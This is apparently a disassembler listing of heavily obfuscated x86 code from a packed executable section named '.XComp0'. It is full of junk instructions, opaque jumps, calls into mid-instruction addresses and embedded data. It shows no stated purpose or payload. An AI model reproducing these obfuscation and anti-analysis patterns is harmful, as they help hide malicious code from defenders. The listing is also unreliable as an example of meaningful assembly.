		mov	edi, 4B3E98F6h


loc_608E35:				; CODE XREF: .XComp0:00608E2Aj
		pusha
		push	ecx
		pop	eax
		jns	near ptr loc_608E4A+6
		jmp	near ptr loc_608E4A+6
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
		fcomp	st(7)


loc_608E46:				; CODE XREF: .XComp0:00608E18j
		db	64h
		and	edx, ebp
		out	dx, eax


loc_608E4A:				; CODE XREF: .XComp0:00608E38j
					; .XComp0:00608E3Ej
		rcl	byte ptr ds:66CD7F3Ah, 61h
		pusha
		push	edx
		pop	ecx
		sbb	ax, 0E44Ch
		popa
		movzx	ebx, di
		jle	loc_608E74
		jmp	loc_608E74
; ---------------------------------------------------------------------------
		dd 296725A1h, 187D96C7h, 0F69DE8A0h
; ---------------------------------------------------------------------------


loc_608E74:				; CODE XREF: .XComp0:00608E5Dj
					; .XComp0:00608E63j
		mov	edi, 3A52D153h
		jmp	loc_608E86
; ---------------------------------------------------------------------------
		dw 714Dh
		db 90h
; ---------------------------------------------------------------------------
		shl	byte ptr [ecx],	cl
		mov	[ecx+4Fh], ah


loc_608E86:				; CODE XREF: .XComp0:00608E79j
		pusha
		jmp	loc_608E9B
; ---------------------------------------------------------------------------
		dd 44357E45h, 0A24008F3h, 7DB86224h
		db 0DAh, 9, 6Fh
; ---------------------------------------------------------------------------


loc_608E9B:				; CODE XREF: .XComp0:00608E87j
		mov	si, dx
		popa
		push	esi
		pop	ecx
		mov	cx, 43Fh
		jmp	loc_608EB8
; ---------------------------------------------------------------------------
		dw 8FF3h
		dd 86557596h, 0E4CF8259h, 7CB9B5C3h
; ---------------------------------------------------------------------------


loc_608EB8:				; CODE XREF: .XComp0:00608EA5j
		ja	loc_608EC4
		xor	edi, 655A3987h


loc_608EC4:				; CODE XREF: .XComp0:loc_608EB8j
		sbb	al, 82h
		jmp	loc_608EDD
; ---------------------------------------------------------------------------
		dd 0BB9F644Dh, 4BCA51F3h, 78FC85C1h, 9DF547ECh
		db 0A1h
; ---------------------------------------------------------------------------


loc_608EDD:				; CODE XREF: .XComp0:00608EC7j
		mov	edi, 2A57080h
		pusha
		and	bx, 327Bh
		movzx	edi, si
		popa
		add	bh, 0D6h
		pusha
		and	edx, 356CED61h
		mov	di, si
		popa
		jz	$+6
		jge	loc_608F0C
		sub	esi, 255F8447h


loc_608F0C:				; CODE XREF: .XComp0:00608F00j
		mov	dx, si
		jmp	loc_608F28
; ---------------------------------------------------------------------------
		dd 456347FAh, 2F89F8ADh, 3F4EED63h, 84A02498h, 6437EF17h
; ---------------------------------------------------------------------------


loc_608F28:				; CODE XREF: .XComp0:00608F0Fj
		mov	ecx, 54DFBEB5h
		mov	ecx, 5D9C638Ah
		or	dx, 4EBAh
		sub	cl, 15h
		jmp	loc_608F48
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0C727222Ah, 49077F34h
; ---------------------------------------------------------------------------


loc_608F48:				; CODE XREF: .XComp0:00608F3Aj
		mov	ebx, 5E1C73Fh
		cmc
		mov	edi, ecx
		jge	loc_608F5A
		mov	si, 8619h


loc_608F5A:				; CODE XREF: .XComp0:00608F50j
		mov	ecx, 69C3A556h
		mov	cx, di
		movzx	esi, cx
		jmp	loc_608F78
; ---------------------------------------------------------------------------
		dw 9F11h
		dd 42D3994Eh, 8C7AABAAh, 363211B2h
; ---------------------------------------------------------------------------


loc_608F78:				; CODE XREF: .XComp0:00608F65j
		jb	loc_608F80
		mov	edi, eax


loc_608F80:				; CODE XREF: .XComp0:loc_608F78j
		or	eax, 2065ACF7h
		call	near ptr loc_608F8D+3
		pushf
		push	cs


loc_608F8D:				; CODE XREF: .XComp0:00608F86p
		or	edx, 24F6819Bh
		mov	ah, 7Ch
		and	ebx, [edx-80h]
		aam	0B4h
		sbb	cx, 3F26h
		adc	ah, 6Fh
		mov	bl, 65h
		mov	ax, cx
		jmp	loc_608FB9
; ---------------------------------------------------------------------------
		dd 0D882984Dh, 0EECB6229h, 5806F0CFh
; ---------------------------------------------------------------------------
		cli


loc_608FB9:				; CODE XREF: .XComp0:00608FA7j
		jmp	loc_608FD0
; ---------------------------------------------------------------------------
		dw 10FCh
		dd 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh
; ---------------------------------------------------------------------------


loc_608FD0:				; CODE XREF: .XComp0:loc_608FB9j
		jnb	loc_608FEC
		jmp	loc_608FEC
; ---------------------------------------------------------------------------
		or	[ebx+24D08260h], al
		cwde
		rcl	ebx, cl
		cld
		mov	ss, word ptr [edi]
		dec	ecx
		pop	ebx
		push	eax
		xor	al, 6


loc_608FEC:				; CODE XREF: .XComp0:loc_608FD0j
					; .XComp0:00608FD6j
		movsx	edi, ax
		mov	bh, ch
		cld
		jmp	loc_60900A
; ---------------------------------------------------------------------------
		db 0A3h
		dd 4160984Bh
		db 3, 0BAh, 8Bh
; ---------------------------------------------------------------------------


loc_608FFF:				; CODE XREF: .XComp0:00609057j
		mov	ecx, 0DC3E627Ah
		mov	bh, 18h
		cli
		stosb
		rep push ss


loc_60900A:				; CODE XREF: .XComp0:00608FF2j
		mov	di, si
		call	near ptr loc_609013+4
		pop	ebx


loc_609013:				; CODE XREF: .XComp0:0060900Dp
		test	eax, 6051B2CCh
		and	al, 0EAh
		jg	$+6
		popa
		pop	edx
		and	ebx, 31F05A53h
		jbe	loc_609034
		mov	ecx, 17A38211h


loc_609034:				; CODE XREF: .XComp0:00609029j
		sbb	eax, 43D0160Dh
		call	near ptr loc_609041+4
		sbb	al, 0EEh


loc_609041:				; CODE XREF: .XComp0:0060903Ap
		call	far ptr	5BF8h:8A22C785h
		jb	loc_60904F
		cmc


loc_60904F:				; CODE XREF: .XComp0:00609048j
		movzx	esi, cx
		call	sub_60906A
		loopne	loc_608FFF
		dec	edx
		dec	esp
		sti
		aaa
		and	bh, cl
		xchg	eax, edx
		dec	edi
		mov	byte ptr [ebx],	4Eh
		pop	ebp
		xchg	eax, esp
		cwde
		arpl	sp, sp
		pop	ss

; =============== S U B	R O U T	I N E =======================================



sub_60906A	proc near		; CODE XREF: .XComp0:00609052p

; FUNCTION CHUNK AT 0060910A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00609122 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00609134 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00609140 SIZE 00000011 BYTES

		mov	cl, bl
		pop	edi
		jmp	loc_609086
; ---------------------------------------------------------------------------
		dw 0B014h
		dd 86124D8Ah, 0DED39598h, 726135DDh, 1B6FA28Dh
		db 0A1h, 0C1h
; ---------------------------------------------------------------------------


loc_609086:				; CODE XREF: sub_60906A+3j
		jnz	loc_609090
		push	ecx
		pusha
		popa
		pop	ebx


loc_609090:				; CODE XREF: sub_60906A:loc_609086j
		sub	ch, 26h
		push	ecx
		pop	ebx
		jmp	loc_6090A6
; ---------------------------------------------------------------------------
		dw 3DC0h
		dd 0EDB0CDF9h, 0F96CDCCDh
		db 7Eh,	81h
; ---------------------------------------------------------------------------


loc_6090A6:				; CODE XREF: sub_60906A+2Bj
		jmp	loc_6090BB
; ---------------------------------------------------------------------------
		db 26h
		dd 0A3F827CDh, 0D7B4BE1Dh, 32158895h
		db 0F2h, 6Fh, 2Bh
; ---------------------------------------------------------------------------


loc_6090BB:				; CODE XREF: sub_60906A:loc_6090A6j
		mov	ebx, 2E2E217Bh
		sbb	dh, 0Ch
		push	ecx
		jmp	loc_6090D0
; ---------------------------------------------------------------------------
		and	[eax-37h], ecx
		mov	bh, 0DFh
		dec	ebp
		xchg	eax, ebp


loc_6090D0:				; CODE XREF: sub_60906A+5Aj
		pop	edi
		sbb	dh, 4Ch
		mov	cx, di
		call	near ptr loc_6090E6+5
		jle	short loc_60910A
		fcmovnu	st, st(2)
		pop	es
		cmp	cl, [ecx-20h]
		fucomi	st, st(6)


loc_6090E6:				; CODE XREF: sub_60906A+6Dp
		fistp	qword ptr [edx+60D9CA2Fh]
sub_60906A	endp ; sp-analysis failed

		mov	bx, 5042h
		cld
		popa
		pop	edi
		mov	cx, dx
		mov	esi, eax
		mov	edx, 309FA927h
		mov	eax, edx
		mov	ch, 0CDh
		mov	edx, ecx
		mov	al, cl
		mov	edx, 12614537h
; START	OF FUNCTION CHUNK FOR sub_60906A


loc_60910A:				; CODE XREF: sub_60906A+72j
		jmp	loc_609122
; END OF FUNCTION CHUNK	FOR sub_60906A
; ---------------------------------------------------------------------------
		pop	ecx
		sbb	ah, bh
		inc	ebp
		cmp	[ebx], esi
		and	[ebx-36177348h], ch
		xchg	eax, edi
		sub	eax, [ebx-73EE1BABh]
; START	OF FUNCTION CHUNK FOR sub_60906A


loc_609122:				; CODE XREF: sub_60906A:loc_60910Aj
		movsx	esi, dx
		jmp	loc_609134
; END OF FUNCTION CHUNK	FOR sub_60906A
; ---------------------------------------------------------------------------
		dw 0ABACh
		dd 0B12FE754h, 8D9C552Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60906A


loc_609134:				; CODE XREF: sub_60906A+BBj
		cmc
		jmp	loc_609140
; END OF FUNCTION CHUNK	FOR sub_60906A
; ---------------------------------------------------------------------------
		dw 84EDh
		dd 0BF33BE02h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60906A


loc_609140:				; CODE XREF: sub_60906A+CBj
		mov	cx, 0B1C0h
		call	loc_609151
		pop	es
		sbb	eax, 0AB70E7Ah
		mov	ebp, ecx
; END OF FUNCTION CHUNK	FOR sub_60906A


loc_609151:				; CODE XREF: sub_60906A+DAp
		jnb	loc_60915A
		movsx	esi, dx


loc_60915A:				; CODE XREF: .XComp0:loc_609151j
		pop	esi
		mov	di, 4777h
		adc	dx, 0AEDDh
		mov	edx, esi
		adc	di, 0BCF1h
		mov	ah, dl
		add	al, 69h
		mov	bx, 666Ah
		add	al, 34h
		js	loc_609182
		xor	ax, 5AA9h


loc_609182:				; CODE XREF: .XComp0:00609177j
		jmp	loc_609194
; ---------------------------------------------------------------------------
		db 94h
		dd 2E570565h, 2EEF7815h, 129F05DDh
; ---------------------------------------------------------------------------


loc_609194:				; CODE XREF: .XComp0:loc_609182j
		movsx	edx, si
		mov	ch, 4Ah
		mov	esi, 225C77Eh
		jnp	$+6
		sub	dx, 129Bh
		mov	dx, 0CC16h
		or	dh, 0EAh
		xor	al, 7Eh
		adc	eax, 1C274612h
		jo	loc_6091CB
		jbe	loc_6091CB
		adc	eax, 740AE692h


loc_6091CB:				; CODE XREF: .XComp0:006091B9j
					; .XComp0:006091BFj
		mov	edx, 377CAD77h
		xor	bx, 5D10h
		jmp	loc_6091E4
; ---------------------------------------------------------------------------
		pop	ebx
		cmp	al, 0BCh
		jle	short loc_60924D
		push	esi


loc_6091E0:				; CODE XREF: .XComp0:0060920Bj
		pop	edi
; ---------------------------------------------------------------------------
		db 0C4h, 8Fh, 0D1h
; ---------------------------------------------------------------------------


loc_6091E4:				; CODE XREF: .XComp0:006091D5j
		mov	al, bl
		mov	dl, bh
		jnb	loc_6091F7
		jp	loc_6091F7
		mov	cx, bx


loc_6091F7:				; CODE XREF: .XComp0:006091E8j
					; .XComp0:006091EEj
		push	edi
		pusha
		and	ax, 0B64h
		jle	$+6
		popa
		pop	esi
		call	sub_60921B
		jnb	short loc_6091E0
		pushf
		xchg	eax, ebx
		fxch7	st(1)
		insb
		hlt
; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		cld
		pop	ecx
		push	88F8769Dh

; =============== S U B	R O U T	I N E =======================================



sub_60921B	proc near		; CODE XREF: .XComp0:00609206p
		jo	loc_609225
		mov	si, 5E95h


loc_609225:				; CODE XREF: sub_60921Bj
		pop	ebx
		mov	al, 6Bh
		cld
		mov	bl, 0B5h
		movzx	ebx, si
		call	near ptr loc_609235+3
		scasd
		inc	ecx


loc_609235:				; CODE XREF: sub_60921B+13p
		lock cmp [ecx+0F870Fh],	ch
sub_60921B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 9E80000h, 5F000000h,	0CBE780E2h, 0FD3894BDh
; ---------------------------------------------------------------------------
		pop	edi


loc_60924D:				; CODE XREF: .XComp0:006091DDj
		pop	esi
		pusha
		call	near ptr sub_60925E
		test	[edx], bh
		test	al, 5Fh
		db	26h
		test	eax, 0B8F568E1h

; =============== S U B	R O U T	I N E =======================================



sub_60925E	proc far		; CODE XREF: .XComp0:0060924Fp
		mov	esi, ecx
		pop	edi
		sbb	bl, 0CEh
		popa
		mov	edi, edx
		movzx	ebx, si
		jmp	loc_60927E
; ---------------------------------------------------------------------------
		db 9Ah
		dd 60B25519h, 28296EDBh, 71F59312h
		db 28h,	8Ah
; ---------------------------------------------------------------------------


loc_60927E:				; CODE XREF: sub_60925E+Cj
		add	bl, 30h
		mov	cl, bl
		mov	eax, 17BFB5E8h
		jp	loc_60928F
		clc


loc_60928F:				; CODE XREF: sub_60925E+2Aj
		mov	ch, 0F4h
		js	loc_6092AD
		jmp	loc_6092AD
; ---------------------------------------------------------------------------
		dd 1EAC7286h, 172320BBh, 0D5E16C84h, 0CF91B71Bh
		db 7Dh
; ---------------------------------------------------------------------------


loc_6092AD:				; CODE XREF: sub_60925E+33j
					; sub_60925E+39j
		jmp	loc_6092BC
; ---------------------------------------------------------------------------
		dw 4479h
; ---------------------------------------------------------------------------
		inc	edi
		pop	ebp
		xchg	eax, ebx
		db	2Eh
		jns	short loc_609329
		test	al, 0BAh


loc_6092BC:				; CODE XREF: sub_60925E:loc_6092ADj
		or	ebx, 5E46BE64h
		jmp	loc_6092CE
; ---------------------------------------------------------------------------
		db 0B5h
		dd 8A98C502h
		db 0A5h, 4
; ---------------------------------------------------------------------------


loc_6092CE:				; CODE XREF: sub_60925E+64j
		mov	si, ax
		push	ebx
		mov	cx, dx
		pop	edx
		stc
		xor	si, 6D1Ah
		mov	esi, 6FB18CC1h
		jmp	loc_6092F0
; ---------------------------------------------------------------------------
		dw 3451h
		dd 1E157C11h, 0CAFEA2A2h
; ---------------------------------------------------------------------------


loc_6092F0:				; CODE XREF: sub_60925E+83j
		sub	ch, 0E8h
		pusha
		jmp	loc_60930B
; ---------------------------------------------------------------------------
		sbb	[eax-3Fh], ah
		int	3		; Trap to Debugger
		retf	0BA78h
; ---------------------------------------------------------------------------
		dd 0A5C05FB2h, 0B5E78AC2h
		db 55h,	46h, 0B2h
; ---------------------------------------------------------------------------


loc_60930B:				; CODE XREF: sub_60925E+96j
		jz	loc_609329
		jmp	loc_609329
; ---------------------------------------------------------------------------
		dw 0BFC8h
		dd 96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h
		db 88h
; ---------------------------------------------------------------------------


loc_609329:				; CODE XREF: sub_60925E+59j
					; sub_60925E:loc_60930Bj ...
		popa
		add	edx, 3A7215D7h
		mov	ax, 0B081h
		mov	edi, 72257169h
		jmp	loc_60934F
; ---------------------------------------------------------------------------
		dw 547h
		dd 0BAF48AF1h, 0CF297F76h, 52528905h
		db 8Dh,	82h, 0FBh
; ---------------------------------------------------------------------------


loc_60934F:				; CODE XREF: sub_60925E+DBj
		mov	si, dx
		jg	$+6
		mov	edx, 3F21CE48h
		mov	eax, ebx
		jmp	loc_60936A
; ---------------------------------------------------------------------------
		dd 5002AE0Dh
		db 75h,	0EFh
; ---------------------------------------------------------------------------


loc_60936A:				; CODE XREF: sub_60925E+101j
		or	ax, 0AEB7h
		mov	edi, ecx
		call	near ptr loc_609387+1
		leave
		rol	byte ptr [eax+0Ch], cl
		inc	esi
		fild	dword ptr [esi+esi*4]
		clc
		dec	eax
		mov	byte ptr [esi],	0D8h
		cmc
		test	al, 0A0h
		pop	eax


loc_609387:				; CODE XREF: .XComp0:006093A1j
					; sub_60925E+113p
		add	al, 53h
sub_60925E	endp ; sp-analysis failed

		mov	bx, cx
		pop	edi
		pop	ebx
		mov	edx, 2A2CFE9h
		jg	loc_6093A5
		jmp	loc_6093A5
; ---------------------------------------------------------------------------
		dec	esi
		setalc
		dec	esi
		jb	short loc_609387
		inc	esp
		inc	eax


loc_6093A5:				; CODE XREF: .XComp0:00609393j
					; .XComp0:00609399j
		jb	loc_6093C1
		jmp	loc_6093C1
; ---------------------------------------------------------------------------
		dd 34A9752h, 32169075h,	0B4FA9AF5h, 39AC03B3h
		db 0F4h
; ---------------------------------------------------------------------------


loc_6093C1:				; CODE XREF: .XComp0:loc_6093A5j
					; .XComp0:006093ABj
		mov	di, bx
		jmp	loc_6093D8
; ---------------------------------------------------------------------------
		mov	dh, 36h
		mov	ebx, 0F179C8D8h
		setalc
		pop	edi
		inc	esp
		pop	ebp
		add	bl, ch
		mov	cl, 69h


loc_6093D8:				; CODE XREF: .XComp0:006093C4j
		or	di, 8BDh
		jmp	loc_6093EE
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------


loc_6093E3:				; CODE XREF: .XComp0:loc_6093E3j
		jbe	short loc_6093E3
; ---------------------------------------------------------------------------
		db 36h,	73h, 2Ch
		dd 155B2CFEh
		db 0E3h, 1
; ---------------------------------------------------------------------------


loc_6093EE:				; CODE XREF: .XComp0:006093DDj
		mov	eax, edx
		jno	loc_6093FE
		jbe	loc_6093FE
		pusha
		popa


loc_6093FE:				; CODE XREF: .XComp0:006093F0j
					; .XComp0:006093F6j
		jns	loc_60940E
		jmp	loc_60940E
; ---------------------------------------------------------------------------
		db 10h,	88h, 6
		db 0A0h, 0D6h
; ---------------------------------------------------------------------------


loc_60940E:				; CODE XREF: .XComp0:loc_6093FEj
					; .XComp0:00609404j
		mov	dl, 0DEh
		jmp	loc_609423
; ---------------------------------------------------------------------------
		db 55h,	0F2h, 8
		dd 0E57777C9h, 38DBDA37h
		db 6Ah,	51h, 0E3h
; ---------------------------------------------------------------------------


loc_609423:				; CODE XREF: .XComp0:00609410j
		pusha
		ja	loc_60942D
		movzx	eax, dx


loc_60942D:				; CODE XREF: .XComp0:00609424j
		popa
		mov	di, 4D61h
		xor	esi, 1FAAEDD5h
		movsx	edi, cx
		mov	edx, 6B3509EDh
		jp	loc_609447
		clc


loc_609447:				; CODE XREF: .XComp0:00609440j
		jz	loc_609453
		sub	edx, 5B741A84h


loc_609453:				; CODE XREF: .XComp0:loc_609447j
		mov	ah, 0F1h
		mov	dl, 8Ch
		call	sub_609468
		cmp	ebp, [edx-0Eh]
		mov	bh, 5Eh
		dec	ebx
		xchg	eax, ebp
		movsb
; ---------------------------------------------------------------------------
		dd 24854FEh

; =============== S U B	R O U T	I N E =======================================



sub_609468	proc near		; CODE XREF: .XComp0:00609457p
		pusha
		mov	ebx, 715E58FEh
		mov	edx, 22820652h
		popa
		pop	edi
		mov	bh, 0F4h
		call	sub_60948A
		mov	edi, 79D7F8FBh
		push	esi
		inc	eax
		pusha
		cdq
		sub	eax, 2DE59592h
sub_609468	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60948A	proc near		; CODE XREF: sub_609468+Fp
		mov	esi, edi
		pop	ebx


loc_60948D:				; CODE XREF: .XComp0:006094EBj
		sub	dx, 972Ch
		mov	dx, 0B15h
		pusha
		ja	$+6
		mov	bh, 0D0h
		popa
		push	ecx
		pop	eax
		add	ecx, 2B8042B1h
		jz	loc_6094BA
		jmp	loc_6094BA
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		add	ebx, [ebx+63739BDBh]


loc_6094BA:				; CODE XREF: sub_60948A+1Ej
					; sub_60948A+24j
		movsx	esi, di
		movzx	ecx, di
		mov	edx, 47823F6Bh
		pusha
		push	esi
		jz	$+6
		pop	ecx
		call	near ptr loc_6094DD+2
		add	bl, ah
		add	dh, [ebx]
		inc	ebx
		add	eax, 7C795DE5h


loc_6094DD:				; CODE XREF: sub_60948A+44p
		mov	ebp, 5ED48AEFh
sub_60948A	endp ; sp-analysis failed

		popa
		pusha
		call	loc_6094FA
		jbe	short near ptr sub_609530+4
		jz	short loc_60948D
		xor	al, 0D6h
		movsb
		add	dword ptr [eax+393C060Ch], 0E098CB64h


loc_6094FA:				; CODE XREF: .XComp0:006094E4p
		xor	cx, 2513h
		pop	esi
		popa
		movzx	edi, ax
		adc	ax, 4A93h
		push	edi
		jmp	loc_609519
; ---------------------------------------------------------------------------
		sbb	bl, [ebx]
		mov	ds:0EE0E933Dh, al
		xchg	eax, esp
		shr	dword ptr [edi], cl


loc_609519:				; CODE XREF: .XComp0:0060950Aj
		pop	eax
		call	sub_609530
		sbb	cl, bl
; ---------------------------------------------------------------------------
		db 8Eh,	4Ah, 0A4h
		dd 7FD81845h, 17A52FDBh, 71889126h

; =============== S U B	R O U T	I N E =======================================



sub_609530	proc near		; CODE XREF: .XComp0:0060951Ap
					; .XComp0:006094E9j
		mov	eax, 2B019B34h
		pop	ecx
		jmp	loc_609547
; ---------------------------------------------------------------------------
		db 38h
		dd 34860686h, 0A12492Ch
		db 98h,	9, 0BDh
; ---------------------------------------------------------------------------


loc_609547:				; CODE XREF: sub_609530+6j
		mov	eax, 305E5F0h
		adc	ebx, 710B7559h
		mov	esi, ebx
		pusha
		adc	edi, 60B163C7h
		cld
		popa
		or	edi, 1B2D1288h
		mov	bh, dl
		jmp	loc_609576
; ---------------------------------------------------------------------------
		dw 7C32h
		dd 205D420Ch, 8F9A98B5h
		db 57h,	78h
; ---------------------------------------------------------------------------


loc_609576:				; CODE XREF: sub_609530+35j
		mov	ecx, esi
		js	loc_609583
		mov	ebx, 140F22C8h


loc_609583:				; CODE XREF: sub_609530+48j
		mov	esi, 41A75C1Dh
		mov	edi, 1C610A6Eh
		movsx	edi, bx
		mov	esi, eax
		push	edi
		pusha
		mov	di, bx
		call	near ptr loc_60959F+6
		nop
		das
		inc	eax


loc_60959F:				; CODE XREF: sub_609530+67p
		sbb	dword ptr [eax-10C55A18h], 5Ah
sub_609530	endp ; sp-analysis failed

		popa
		pop	ecx
		cld
		and	ebx, 0F6A4BACh
		pusha
		mov	dh, 0D8h
		ja	loc_6095BB
		movzx	edx, dx


loc_6095BB:				; CODE XREF: .XComp0:006095B2j
		popa
		mov	ah, 1Fh
		mov	di, 0F894h
		cmc
		pusha
		xor	edi, 4BD50726h
		popa
		mov	si, dx
		mov	cx, ax
		pusha
		movzx	esi, di
		call	near ptr loc_6095E6+1
		xor	eax, 1CE2636Eh
		popa
		sbb	esp, [ebx-0FCCF62Ah]


loc_6095E6:				; CODE XREF: .XComp0:006095D5p
		jp	short loc_60964E
		mov	esi, 615A5C65h
		jg	loc_6095F8
		mov	esi, 6B061AB5h


loc_6095F8:				; CODE XREF: .XComp0:006095EDj
		sub	di, 0BF09h
		add	esi, 46B621BEh
		mov	dh, 0F6h
		jb	loc_609610
		mov	ecx, 165E9F1Ch


loc_609610:				; CODE XREF: .XComp0:00609605j
		jmp	loc_609627
; ---------------------------------------------------------------------------
		db 0F9h, 0FDh, 63h
		db 7Bh
; ---------------------------------------------------------------------------


loc_609619:				; CODE XREF: .XComp0:loc_60964Ej
		out	dx, al
		mov	edi, 8880236h
		fist	word ptr [eax+eax*8]


loc_609622:				; CODE XREF: .XComp0:00609697j
		add	dl, al
		xchg	eax, edi
		cli
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------


loc_609627:				; CODE XREF: .XComp0:loc_609610j
		jmp	loc_60963C
; ---------------------------------------------------------------------------
		dd 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh, 686FB986h
; ---------------------------------------------------------------------------


loc_60963C:				; CODE XREF: .XComp0:loc_609627j
		jmp	loc_609655
; ---------------------------------------------------------------------------
		db 3Dh,	0FEh, 0B3h
		dd 6EF1214Dh, 0E3902867h
		db 92h,	3Bh
; ---------------------------------------------------------------------------


loc_60964E:				; CODE XREF: .XComp0:loc_6095E6j
		ja	short loc_609619
		mov	ah, 0D8h
		wait
		pop	esi
		inc	edi


loc_609655:				; CODE XREF: .XComp0:loc_60963Cj
		mov	edx, ebx
		push	esi
		mov	dx, 0F34Bh
		pop	edx
		mov	cl, 0ABh
		sub	ax, 932Fh
		jmp	loc_609675
; ---------------------------------------------------------------------------
		db 0E5h, 0C7h, 0C2h
		dd 6FB8D4E4h, 9F726BB1h
; ---------------------------------------------------------------------------
		stc


loc_609675:				; CODE XREF: .XComp0:00609664j
		movsx	esi, dx
		cmc
		push	eax
		mov	dh, 0D9h
		pop	eax
		mov	ax, cx
		xor	esi, 0D9959F6h
		call	near ptr loc_609699+1
		inc	eax
		add	al, 85h
		add	[ebp-2Dh], eax
		dec	esi
		add	eax, 7BEAF502h
		ja	short loc_609622


loc_609699:				; CODE XREF: .XComp0:00609686p
		fmul	qword ptr [edx+11E95BCCh]
; ---------------------------------------------------------------------------
		db 0
		dd 3C2E0000h, 8864E881h, 23EB6A2Ah, 2266B130h, 0F9812ECBh
		dd 68F0Fh, 0CB810000h, 33CC4215h, 0A7B260F9h, 25FA15B9h
		dd 81666144h, 0E94F23F3h, 0Ah, 0B8BF506Ch, 824FAEB0h, 8B66B035h
		dd 35C681C3h, 0F0C4C44h, 78Bh, 1840F00h, 0F5000000h, 5870Fh
		dd 81660000h, 520208EEh, 0BE9h,	0A60600h, 0C62D85A8h, 276D9D89h
		dd 0D8CE8058h, 8F0F5656h, 0
		dd 0F605A58h, 38Eh, 0C3BF0F00h,	840F56h, 59000000h, 0D78B6661h
		dd 12E860h, 64420000h, 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h
		dd 0CE58EA80h, 592EDE80h, 7E9h,	0B15D2D00h, 0B24763E9h
		dd 0F281F961h, 4D8A9679h, 5E9h,	2DA5AD00h, 0C78184E6h
		dd 21A0658h, 0AE9h, 0EA01D000h,	3483BCCFh, 0F29638Bh, 481h
		dd 30BE6600h, 0B4BE66F5h, 0AFCE81A1h, 577034E0h, 10E960h
		dd 71CB0000h, 8A95C9A6h, 1A2960B0h, 2B3EEBD7h, 8B663578h
		dd 0BB5F61FBh, 5DD140C8h, 0EFD98166h, 0F981BF37h, 7E96FE1h
		dd 62000000h, 0CA38BB56h, 5856D7FCh, 5CB86660h,	0CE977h
		dd 7B9D0000h, 61131450h, 0A01F060h, 8B61A555h, 0DE9C8h
		dd 0CFD80000h, 1162BFBAh, 46F18902h, 6695AE96h,	0BF0FD08Bh
		dd 0FCAEBADEh, 0D98B7BE0h, 8166CB8Bh, 0FBB3EC8h, 0BE66CBB7h
		dd 0C381563Fh, 0A1902C4h, 0F6E18166h, 0C1B70FB6h, 0B70F60F8h
		dd 8E0F57D9h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		popa
		movzx	edi, bx
		mov	ecx, 36FF879h
		jmp	loc_609849
; ---------------------------------------------------------------------------
		db 47h
		dd 47DE7DD4h, 541A94C7h
		db 0F4h
; ---------------------------------------------------------------------------


loc_609849:				; CODE XREF: .XComp0:0060983Aj
		and	al, 0D1h
		add	edx, 6A96F5A3h
		jmp	loc_609860
; ---------------------------------------------------------------------------
		db 0D8h
		dd 0F897D0ABh, 0DF7D07B3h
; ---------------------------------------------------------------------------


loc_609860:				; CODE XREF: .XComp0:00609852j
		movzx	ecx, bx
		mov	di, si
		jmp	loc_609876
; ---------------------------------------------------------------------------
		db 4
		dd 0BADCD3B3h, 295E258Eh
		db 0B8h, 6Ah
; ---------------------------------------------------------------------------


loc_609876:				; CODE XREF: .XComp0:00609866j
		stc
		mov	dh, 7Ch
		push	ebx
		movzx	ecx, dx
		pop	eax
		and	di, 8A11h
		push	esi
		jmp	loc_60989C
; ---------------------------------------------------------------------------
		pminub	mm0, qword ptr [ebx-6B4622C6h]
		add	al, 0D9h
		push	edx
		add	cl, [edx+ebx*8-134F395Eh]
		aas
		xchg	eax, esi


loc_60989C:				; CODE XREF: .XComp0:00609884j
		pop	ecx
		movzx	esi, bx
		xor	dx, 7089h
		mov	bx, di
		mov	cx, 6AC9h
		or	ax, 0C90Eh
		jb	loc_6098BA
		mov	ax, di


loc_6098BA:				; CODE XREF: .XComp0:006098B1j
		and	ecx, 1E453588h
		stc
		push	edx
		jmp	loc_6098D9
; ---------------------------------------------------------------------------
		db 0EBh
		db 0CCh
		db 74h,	45h, 0A8h
		dd 0EA601B50h, 795E35B8h, 3AE6EBBFh
		db 22h
; ---------------------------------------------------------------------------


loc_6098D9:				; CODE XREF: .XComp0:006098C2j
		pop	ebx
		jmp	loc_6098F2
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 0C11ED247h, 0E0B1C2E2h, 96A7E4F3h, 191AB31Dh
; ---------------------------------------------------------------------------
		aad	0C3h


loc_6098F2:				; CODE XREF: .XComp0:006098DAj
		movzx	ebx, cx
		movsx	ebx, dx
		mov	ecx, edx
		jmp	loc_60990A
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0CCDEE026h, 0E03E1EF9h
; ---------------------------------------------------------------------------
		xchg	bh, dh


loc_60990A:				; CODE XREF: .XComp0:006098FAj
		stc
		xor	di, 5184h
		mov	edi, ebx
		call	sub_609922
		inc	esp
		push	25h
		repne mov eax, 846F05EDh
		add	al, 49h

; =============== S U B	R O U T	I N E =======================================



sub_609922	proc near		; CODE XREF: .XComp0:00609912p
		jnb	loc_60992D
		mov	ecx, 69A47A9Fh


loc_60992D:				; CODE XREF: sub_609922j
		pop	ecx
		pusha
		jmp	loc_60993A
; ---------------------------------------------------------------------------
		dd 0F707DDD0h
		db 0C2h, 0B4h
; ---------------------------------------------------------------------------


loc_60993A:				; CODE XREF: sub_609922+Dj
		cld
		popa
		mov	di, 98A2h
		call	sub_609951
		cmp	al, 48h
		call	far ptr	2B61h:0CB1B6DFh
		db	65h
		mov	dl, 50h
sub_609922	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_609951	proc near		; CODE XREF: sub_609922+1Ep
		and	dh, 65h
